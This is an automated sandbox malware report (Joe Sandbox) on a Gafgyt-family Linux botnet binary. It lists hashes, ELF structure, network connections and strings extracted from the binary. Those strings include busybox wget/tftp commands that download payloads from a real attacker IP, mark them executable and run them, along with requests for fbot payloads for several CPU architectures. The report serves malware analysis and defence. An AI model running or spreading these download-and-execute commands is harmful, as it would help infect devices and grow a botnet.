Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
spc.elf

Overview

General Information

Sample name:spc.elf
Analysis ID:1559717
MD5:264db8cf89331a2fa5e0f5101d55f77e
SHA1:a565ebfa05ca2058b467dfb02239f855ba1e5c80
SHA256:8f2b384966ba35c669945237d7d2e7ff1f2d314268adc43743d4fe569a7f997b
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Detected TCP or UDP traffic on non-standard ports
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1559717
Start date and time:2024-11-20 21:07:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 1s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:spc.elf
Detection:MAL
Classification:mal48.linELF@0/0@0/0
  • VT rate limit hit for: spc.elf
Command:/tmp/spc.elf
PID:6237
Exit Code:1
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • dash New Fork (PID: 6222, Parent: 4338)
  • rm (PID: 6222, Parent: 4338, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.Alc5Eqx4Lp /tmp/tmp.LMNRnu9usF /tmp/tmp.qdWjTjRFP6
  • dash New Fork (PID: 6223, Parent: 4338)
  • rm (PID: 6223, Parent: 4338, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.Alc5Eqx4Lp /tmp/tmp.LMNRnu9usF /tmp/tmp.qdWjTjRFP6
  • spc.elf (PID: 6237, Parent: 6151, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/spc.elf
    • spc.elf New Fork (PID: 6239, Parent: 6237)
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: spc.elfReversingLabs: Detection: 39%
Source: global trafficTCP traffic: 192.168.2.23:45598 -> 85.239.34.134:7685
Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 85.239.34.134
Source: unknownTCP traffic detected without corresponding DNS query: 85.239.34.134
Source: unknownTCP traffic detected without corresponding DNS query: 85.239.34.134
Source: unknownTCP traffic detected without corresponding DNS query: 85.239.34.134
Source: unknownTCP traffic detected without corresponding DNS query: 85.239.34.134
Source: unknownTCP traffic detected without corresponding DNS query: 85.239.34.134
Source: unknownTCP traffic detected without corresponding DNS query: 85.239.34.134
Source: unknownTCP traffic detected without corresponding DNS query: 85.239.34.134
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: spc.elfString found in binary or memory: Cdh5GZtVWYhl2cuFGdz9mLsNWdAIiZh5GZtVWYhl2cuFGdz9mLsNWdAI2Zz9Ca0BGa0FGI0lWYpxWYg4mZtFWa5xGI0FHIoRSZuBXZ0hHIhRmYlxHI1NmcgUXagMXcpVXZAQhttps://www.youtube.ru/watch?v=OGp9P6QvMjYmb0V2dy9yai5Waid3bwRWZulmLvNQbAAABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789unknown./. equals www.youtube.com (Youtube)
Source: spc.elfString found in binary or memory: https://www.youtube.ru/watch?v=OGp9P6QvMjY equals www.youtube.com (Youtube)
Source: spc.elfString found in binary or memory: http://87.120.116.226
Source: spc.elfString found in binary or memory: https://www.youtube.ru/watch?v=OGp9P6QvMjY
Source: spc.elfString found in binary or memory: https://www.youtube.ru/watch?v=OGp9P6QvMjYmb0V2dy9yai5Waid3bwRWZulmLvNQbAAABCDEFGHIJKLMNOPQRSTUVWXYZ
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sampleString containing 'busybox' found: /bin/busybox TSUNAMI
Source: Initial sampleString containing 'busybox' found: /bin/busybox cat /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox cp /bin/busybox retrieve && >retrieve && /bin/busybox chmod 777 retrieve && /bin/busybox cp /bin/busybox .t && >.t && /bin/busybox chmod 777 .t
Source: Initial sampleString containing 'busybox' found: /bin/busybox KSLAKW; /bin/busybox wget; /bin/busybox tftp; /bin/busybox echo
Source: Initial sampleString containing 'busybox' found: pdlbwairmoheqc18k5fgstv4jn072u63\x%02x/tmp//var//var/run//dev/arm5arm72bpdgbAAgOAA2cyVmbtFQZAAndkJndAMXYzN2dy9AZAA2YvNWd05iOhBHcsBXZgQmb09GIvZWdk5gPAAAJAAwIAAnYzVWevJAeAAXbsVGdtk2YsFAbAAGasVAcAAmbvNnclJ3YAQnbhZGbklWYslWZAQWZp5WZAQncvJgcAA2bk9nYllmYkFURGx2dldDdgoXYwBGb0VGIv5CdmB3buVAZAAGd0ZDcgoXYwBGb0VGIv5CdmB3buVAZAAURIN0TPRkTAUenablesystemshellshlinuxshell/bin/busybox TSUNAMI/bin/busybox cat /bin/busybox
Source: Initial sampleString containing 'busybox' found: >t && cd && >retrieve; >.t/bin/busybox cp /bin/busybox retrieve && >retrieve && /bin/busybox chmod 777 retrieve && /bin/busybox cp /bin/busybox .t && >.t && /bin/busybox chmod 777 .t
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: -O -> .t; /bin/busybox chmod 777 .t; ./.t
Source: Initial sampleString containing 'busybox' found: /bin/busybox tftp -r
Source: Initial sampleString containing 'busybox' found: ; /bin/busybox chmod 777 .t; ./.t
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -en '
Source: Initial sampleString containing 'busybox' found: retrieve && /bin/busybox echo -en '\x45\x43\x48\x4f\x44\x4f\x4e\x45'
Source: Initial sampleString containing 'busybox' found: ELFarmsparci686m68kpowerpcsuperhx86_64mipselmips/bin/busybox wget http://87.120.116.226 -O -> .t; /bin/busybox chmod 777 .t; ./.t/bin/busybox tftp -r -l .t -g ; /bin/busybox chmod 777 .t; ./.t/bin/busybox echo -en '' >> retrieve && /bin/busybox echo -en '\x45\x43\x48\x4f\x44\x4f\x4e\x45'./retrieve > .t && ./.t; >retrieve && >.t
Source: Initial samplePotential command found: GET /fbot.arm5 HTTP/1.0
Source: Initial samplePotential command found: GET /fbot.arm7 HTTP/1.0
Source: Initial samplePotential command found: GET /fbot.x86 HTTP/1.0
Source: Initial samplePotential command found: GET /fbot.mips HTTP/1.0
Source: Initial samplePotential command found: GET /fbot.mipsel HTTP/1.0
Source: Initial samplePotential command found: GET /fbot.powerpc HTTP/1.0
Source: Initial samplePotential command found: GET /fbot.sparc HTTP/1.0
Source: Initial samplePotential command found: GET /fbot.sh4 HTTP/1.0
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@0/0
Source: /usr/bin/dash (PID: 6222)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Alc5Eqx4Lp /tmp/tmp.LMNRnu9usF /tmp/tmp.qdWjTjRFP6Jump to behavior
Source: /usr/bin/dash (PID: 6223)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Alc5Eqx4Lp /tmp/tmp.LMNRnu9usF /tmp/tmp.qdWjTjRFP6Jump to behavior
Source: /tmp/spc.elf (PID: 6237)Queries kernel information via 'uname': Jump to behavior
Source: spc.elf, 6237.1.0000558398d97000.0000558398dfc000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sparc
Source: spc.elf, 6237.1.0000558398d97000.0000558398dfc000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/sparc
Source: spc.elf, 6237.1.00007ffc32767000.00007ffc32788000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sparc/tmp/spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spc.elf
Source: spc.elf, 6237.1.00007ffc32767000.00007ffc32788000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sparc
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
Command and Scripting Interpreter
Path InterceptionPath Interception1
File Deletion
OS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Non-Standard Port
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive1
Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1559717 Sample: spc.elf Startdate: 20/11/2024 Architecture: LINUX Score: 48 13 85.239.34.134, 45598, 7685 RAINBOW-HKRainbownetworklimitedHK Russian Federation 2->13 15 109.202.202.202, 80 INIT7CH Switzerland 2->15 17 2 other IPs or domains 2->17 19 Multi AV Scanner detection for submitted file 2->19 7 dash rm spc.elf 2->7         started        9 dash rm 2->9         started        signatures3 process4 process5 11 spc.elf 7->11         started       
SourceDetectionScannerLabelLink
spc.elf39%ReversingLabsLinux.Backdoor.Gafgyt
No Antivirus matches
No Antivirus matches
No Antivirus matches
No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
https://www.youtube.ru/watch?v=OGp9P6QvMjYmb0V2dy9yai5Waid3bwRWZulmLvNQbAAABCDEFGHIJKLMNOPQRSTUVWXYZspc.elffalse
    high
    http://87.120.116.226spc.elffalse
      unknown
      https://www.youtube.ru/watch?v=OGp9P6QvMjYspc.elffalse
        high
        • No. of IPs < 25%
        • 25% < No. of IPs < 50%
        • 50% < No. of IPs < 75%
        • 75% < No. of IPs
        IPDomainCountryFlagASNASN NameMalicious
        85.239.34.134
        unknownRussian Federation
        134121RAINBOW-HKRainbownetworklimitedHKfalse
        109.202.202.202
        unknownSwitzerland
        13030INIT7CHfalse
        91.189.91.43
        unknownUnited Kingdom
        41231CANONICAL-ASGBfalse
        91.189.91.42
        unknownUnited Kingdom
        41231CANONICAL-ASGBfalse
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        85.239.34.134arm5.elfGet hashmaliciousUnknownBrowse
          mpsl.elfGet hashmaliciousUnknownBrowse
            ppc.elfGet hashmaliciousUnknownBrowse
              arm6.elfGet hashmaliciousUnknownBrowse
                x86-20241120-0553.elfGet hashmaliciousUnknownBrowse
                  test.elfGet hashmaliciousUnknownBrowse
                    bin.i586.elfGet hashmaliciousGafgyt, MiraiBrowse
                      bin.i686.elfGet hashmaliciousGafgyt, MiraiBrowse
                        bin.armv7l.elfGet hashmaliciousMiraiBrowse
                          bin.i686.elfGet hashmaliciousGafgyt, MiraiBrowse
                            109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
                            • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
                            91.189.91.43arm5.elfGet hashmaliciousUnknownBrowse
                              ppc.elfGet hashmaliciousUnknownBrowse
                                arm6.elfGet hashmaliciousUnknownBrowse
                                  x86.elfGet hashmaliciousUnknownBrowse
                                    bin.sh.elfGet hashmaliciousUnknownBrowse
                                      la.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                        If789zcErl.elfGet hashmaliciousINC RansomwareBrowse
                                          la.bot.arm7.elfGet hashmaliciousUnknownBrowse
                                            la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                              la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                91.189.91.42arm5.elfGet hashmaliciousUnknownBrowse
                                                  ppc.elfGet hashmaliciousUnknownBrowse
                                                    arm6.elfGet hashmaliciousUnknownBrowse
                                                      x86.elfGet hashmaliciousUnknownBrowse
                                                        bin.sh.elfGet hashmaliciousUnknownBrowse
                                                          la.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                                            If789zcErl.elfGet hashmaliciousINC RansomwareBrowse
                                                              la.bot.arm7.elfGet hashmaliciousUnknownBrowse
                                                                la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                                                  la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                                    No context
                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                    RAINBOW-HKRainbownetworklimitedHKarm5.elfGet hashmaliciousUnknownBrowse
                                                                    • 85.239.34.134
                                                                    mpsl.elfGet hashmaliciousUnknownBrowse
                                                                    • 85.239.34.134
                                                                    ppc.elfGet hashmaliciousUnknownBrowse
                                                                    • 85.239.34.134
                                                                    arm6.elfGet hashmaliciousUnknownBrowse
                                                                    • 85.239.34.134
                                                                    x86-20241120-0553.elfGet hashmaliciousUnknownBrowse
                                                                    • 85.239.34.134
                                                                    setup.msiGet hashmaliciousScreenConnect ToolBrowse
                                                                    • 85.239.34.190
                                                                    uspr2uHV0H.ps1Get hashmaliciousUnknownBrowse
                                                                    • 85.239.61.60
                                                                    test.elfGet hashmaliciousUnknownBrowse
                                                                    • 85.239.34.134
                                                                    la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                                                    • 24.233.26.195
                                                                    bin.i586.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                    • 85.239.34.134
                                                                    CANONICAL-ASGBarm5.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    ppc.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    arm6.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    x86.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    arm7.elfGet hashmaliciousMiraiBrowse
                                                                    • 185.125.190.26
                                                                    bin.sh.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    la.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    If789zcErl.elfGet hashmaliciousINC RansomwareBrowse
                                                                    • 91.189.91.42
                                                                    la.bot.arm7.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    CANONICAL-ASGBarm5.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    ppc.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    arm6.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    x86.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    arm7.elfGet hashmaliciousMiraiBrowse
                                                                    • 185.125.190.26
                                                                    bin.sh.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    la.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    If789zcErl.elfGet hashmaliciousINC RansomwareBrowse
                                                                    • 91.189.91.42
                                                                    la.bot.arm7.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                                                    • 91.189.91.42
                                                                    INIT7CHarm5.elfGet hashmaliciousUnknownBrowse
                                                                    • 109.202.202.202
                                                                    ppc.elfGet hashmaliciousUnknownBrowse
                                                                    • 109.202.202.202
                                                                    arm6.elfGet hashmaliciousUnknownBrowse
                                                                    • 109.202.202.202
                                                                    x86.elfGet hashmaliciousUnknownBrowse
                                                                    • 109.202.202.202
                                                                    bin.sh.elfGet hashmaliciousUnknownBrowse
                                                                    • 109.202.202.202
                                                                    la.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                                                    • 109.202.202.202
                                                                    If789zcErl.elfGet hashmaliciousINC RansomwareBrowse
                                                                    • 109.202.202.202
                                                                    la.bot.arm7.elfGet hashmaliciousUnknownBrowse
                                                                    • 109.202.202.202
                                                                    la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                                                    • 109.202.202.202
                                                                    la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                                    • 109.202.202.202
                                                                    No context
                                                                    No context
                                                                    No created / dropped files found
                                                                    File type:ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
                                                                    Entropy (8bit):6.005267291791009
                                                                    TrID:
                                                                    • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                                    File name:spc.elf
                                                                    File size:90'820 bytes
                                                                    MD5:264db8cf89331a2fa5e0f5101d55f77e
                                                                    SHA1:a565ebfa05ca2058b467dfb02239f855ba1e5c80
                                                                    SHA256:8f2b384966ba35c669945237d7d2e7ff1f2d314268adc43743d4fe569a7f997b
                                                                    SHA512:4d19ce3b72a0b0e40a00e2c5c20b282c89c06df3b3be6169dc2f3698a296be4b142c177567dae640332662d9aba025f3fc9663f9c368a2b4134be7160bf40425
                                                                    SSDEEP:1536:GmbiyehaszsnE2mCr40YxktdLG3avGafVmrTCdBU1biFGcPctnoiBAt:GmbjMNwE/p0TLG3MVETiBacPViBAt
                                                                    TLSH:0E933C226B790B27C4E0D43941E7973BB3F647892824960BBFA50E4C7F59A7036937E4
                                                                    File Content Preview:.ELF...........................4..`......4. ...(......................\...\...............\...l...l.......3...............\...l...l.................dt.Q................................@..(....@.F.................#.....`@..`.....!....."l..@.....".........`

                                                                    ELF header

                                                                    Class:ELF32
                                                                    Data:2's complement, big endian
                                                                    Version:1 (current)
                                                                    Machine:Sparc
                                                                    Version Number:0x1
                                                                    Type:EXEC (Executable file)
                                                                    OS/ABI:UNIX - System V
                                                                    ABI Version:0
                                                                    Entry Point Address:0x101c4
                                                                    Flags:0x0
                                                                    ELF Header Size:52
                                                                    Program Header Offset:52
                                                                    Program Header Size:32
                                                                    Number of Program Headers:4
                                                                    Section Header Offset:90260
                                                                    Section Header Size:40
                                                                    Number of Section Headers:14
                                                                    Header String Table Index:13
                                                                    NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                                    NULL0x00x00x00x00x0000
                                                                    .initPROGBITS0x100b40xb40x1c0x00x6AX004
                                                                    .textPROGBITS0x100d00xd00x11bd80x00x6AX004
                                                                    .finiPROGBITS0x21ca80x11ca80x140x00x6AX004
                                                                    .rodataPROGBITS0x21cc00x11cc00x3fd80x00x2A008
                                                                    .eh_framePROGBITS0x26c980x15c980x480x00x3WA004
                                                                    .tbssNOBITS0x26ce00x15ce00x80x00x403WAT004
                                                                    .ctorsPROGBITS0x26ce00x15ce00x80x00x3WA004
                                                                    .dtorsPROGBITS0x26ce80x15ce80x80x00x3WA004
                                                                    .jcrPROGBITS0x26cf00x15cf00x40x00x3WA004
                                                                    .gotPROGBITS0x26cf40x15cf40x1740x40x3WA004
                                                                    .dataPROGBITS0x26e680x15e680x1d40x00x3WA004
                                                                    .bssNOBITS0x270400x1603c0x2f600x00x3WA008
                                                                    .shstrtabSTRTAB0x00x1603c0x580x00x0001
                                                                    TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                                    LOAD0x00x100000x100000x15c980x15c986.02740x5R E0x1000.init .text .fini .rodata
                                                                    LOAD0x15c980x26c980x26c980x3a40x33083.75290x6RW 0x1000.eh_frame .tbss .ctors .dtors .jcr .got .data .bss
                                                                    TLS0x15ce00x26ce00x26ce00x00x80.00000x4R 0x4.tbss
                                                                    GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                    Nov 20, 2024 21:07:52.373802900 CET43928443192.168.2.2391.189.91.42
                                                                    Nov 20, 2024 21:07:52.610371113 CET455987685192.168.2.2385.239.34.134
                                                                    Nov 20, 2024 21:07:52.730125904 CET76854559885.239.34.134192.168.2.23
                                                                    Nov 20, 2024 21:07:52.730200052 CET455987685192.168.2.2385.239.34.134
                                                                    Nov 20, 2024 21:07:52.730906963 CET455987685192.168.2.2385.239.34.134
                                                                    Nov 20, 2024 21:07:52.850572109 CET76854559885.239.34.134192.168.2.23
                                                                    Nov 20, 2024 21:07:54.080355883 CET76854559885.239.34.134192.168.2.23
                                                                    Nov 20, 2024 21:07:54.080389023 CET76854559885.239.34.134192.168.2.23
                                                                    Nov 20, 2024 21:07:54.080404997 CET76854559885.239.34.134192.168.2.23
                                                                    Nov 20, 2024 21:07:54.080418110 CET76854559885.239.34.134192.168.2.23
                                                                    Nov 20, 2024 21:07:54.080436945 CET76854559885.239.34.134192.168.2.23
                                                                    Nov 20, 2024 21:07:54.080636024 CET455987685192.168.2.2385.239.34.134
                                                                    Nov 20, 2024 21:07:54.080636024 CET455987685192.168.2.2385.239.34.134
                                                                    Nov 20, 2024 21:07:54.080636024 CET455987685192.168.2.2385.239.34.134
                                                                    Nov 20, 2024 21:07:54.080636024 CET455987685192.168.2.2385.239.34.134
                                                                    Nov 20, 2024 21:07:54.081526995 CET455987685192.168.2.2385.239.34.134
                                                                    Nov 20, 2024 21:07:58.005084991 CET42836443192.168.2.2391.189.91.43
                                                                    Nov 20, 2024 21:07:59.284845114 CET4251680192.168.2.23109.202.202.202
                                                                    Nov 20, 2024 21:08:13.618854046 CET43928443192.168.2.2391.189.91.42
                                                                    Nov 20, 2024 21:08:23.857470989 CET42836443192.168.2.2391.189.91.43
                                                                    Nov 20, 2024 21:08:30.000590086 CET4251680192.168.2.23109.202.202.202
                                                                    Nov 20, 2024 21:08:54.573288918 CET43928443192.168.2.2391.189.91.42
                                                                    Nov 20, 2024 21:09:15.050581932 CET42836443192.168.2.2391.189.91.43

                                                                    System Behavior

                                                                    Start time (UTC):20:07:42
                                                                    Start date (UTC):20/11/2024
                                                                    Path:/usr/bin/dash
                                                                    Arguments:-
                                                                    File size:129816 bytes
                                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                    Start time (UTC):20:07:42
                                                                    Start date (UTC):20/11/2024
                                                                    Path:/usr/bin/rm
                                                                    Arguments:rm -f /tmp/tmp.Alc5Eqx4Lp /tmp/tmp.LMNRnu9usF /tmp/tmp.qdWjTjRFP6
                                                                    File size:72056 bytes
                                                                    MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                                    Start time (UTC):20:07:43
                                                                    Start date (UTC):20/11/2024
                                                                    Path:/usr/bin/dash
                                                                    Arguments:-
                                                                    File size:129816 bytes
                                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                    Start time (UTC):20:07:43
                                                                    Start date (UTC):20/11/2024
                                                                    Path:/usr/bin/rm
                                                                    Arguments:rm -f /tmp/tmp.Alc5Eqx4Lp /tmp/tmp.LMNRnu9usF /tmp/tmp.qdWjTjRFP6
                                                                    File size:72056 bytes
                                                                    MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                                    Start time (UTC):20:07:52
                                                                    Start date (UTC):20/11/2024
                                                                    Path:/tmp/spc.elf
                                                                    Arguments:/tmp/spc.elf
                                                                    File size:4379400 bytes
                                                                    MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e

                                                                    Start time (UTC):20:07:52
                                                                    Start date (UTC):20/11/2024
                                                                    Path:/tmp/spc.elf
                                                                    Arguments:-
                                                                    File size:4379400 bytes
                                                                    MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e